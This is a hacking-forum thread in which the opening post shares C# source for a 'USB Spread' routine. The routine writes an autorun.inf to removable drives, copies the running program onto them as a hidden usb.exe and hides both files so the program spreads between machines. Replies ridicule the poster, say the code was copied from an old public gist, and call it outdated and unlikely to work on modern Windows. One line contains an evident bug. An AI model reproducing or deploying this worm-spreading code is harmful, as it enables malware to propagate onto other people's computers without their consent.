Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

USB Spread Source

Code
public static void USBSpread()
        {
            DriveInfo[] drives = DriveInfo.GetDrives();
            foreach (DriveInfo drive in drives)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                    StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
                    writer.WriteLine("[autorun] \n ");
                    writer.WriteLine("open = usb.exe");
                    writer.WriteLine("action = Run win32");
                    writer.Close();
                    string Location = System.Reflection.Assembly.GetEntryAssembly().ToString();
                    File.SetAttributes(drive.Name + "the autorun.inf", File.GetAttributes(drive.Name + "the autorun.inf") | FileAttributes.Hidden);
                    File.Copy(Location, drive.Name + "usb.exe", true);
                    File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") | FileAttributes.Hidden);
                }
            }
        }
how to use? Can u post a detailed use procedure?
(Mar 14, 2018 03:52 AM)Playful Wrote:  how to use? Can u post a detailed use procedure?

http://lmgtfy.com/?q=how+to+program+C%23
I'm not using HF much, expect long reply times.
My old XMPP ([email protected]) is dead, use [email protected] instead.
(Mar 14, 2018 07:26 AM)Exodus Wrote:  http://lmgtfy.com/?q=how+to+program+C%23

LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack
"You can pick your friends, you can pick your nose, but you can't pick your friend's nose, because they usually get mad, butt we all know there hiding secrets in there" -James Bond
(Mar 25, 2018 08:24 PM)SlowMehMo Wrote:  LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack

What is this "overstack" you speak of?
(Mar 25, 2018 08:24 PM)SlowMehMo Wrote:  LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack

Sololearn is pretty good, thx for sharing that
Hit me up if you need designs or forum help.

Contacts -
Skype - elite.kane

how to detect there is USB drive plugged in??
(May 6, 2018 09:52 AM)gungunfebrianza Wrote:  how to detect there is USB drive plugged in??

https://stackoverflow.com/a/6003851
With some luck this could infect a couple of Windows ME systems.
I don't think this will work with the modern version. I've seen this technique to all binary I've analyze.
You sure, the code was yours?
[Image: signaturetwo.png]
For real bro? You don't even take the slightest bit of effort to change up the code so no one would find it by googling just 1 line of the code.
This is 5 year old code on github and widely reposted all over the internet in every corner possible.

https://gist.github.com/veyselsahin/7356869
http://cnettricks.blogspot.nl/

If you claim any code as yours and it end up being found on a blogspot blog.... dude you should refrain from using the internet entirely.

OP, you're a cunt. A special type of cunt
(May 9, 2018 08:01 AM)Tommy Chong- Wrote:  For real bro? You don't even take the slightest bit of effort to change up the code so no one would find it by googling just 1 line of the code.
This is 5 year old code on github and widely reposted all over the internet in every corner possible.

https://gist.github.com/veyselsahin/7356869
http://cnettricks.blogspot.nl/

If you claim any code as yours and it end up being found on a blogspot blog.... dude you should refrain from using the internet entirely.

OP, you're a cunt. A special type of cunt

Besides, the code is pretty shitty anyway.
lmao this wont even work on the majority of machines.There are much dated ways to usb spread.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 735 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by danielpherlioMay 28, 2016 02:17 AM 3 554 May 28, 2016 02:17 AM
Last Post: Decim
[Python] by UnauthenticatedApr 13, 2015 09:21 PM 24 700 Apr 13, 2015 09:21 PM
Last Post: Unauthenticated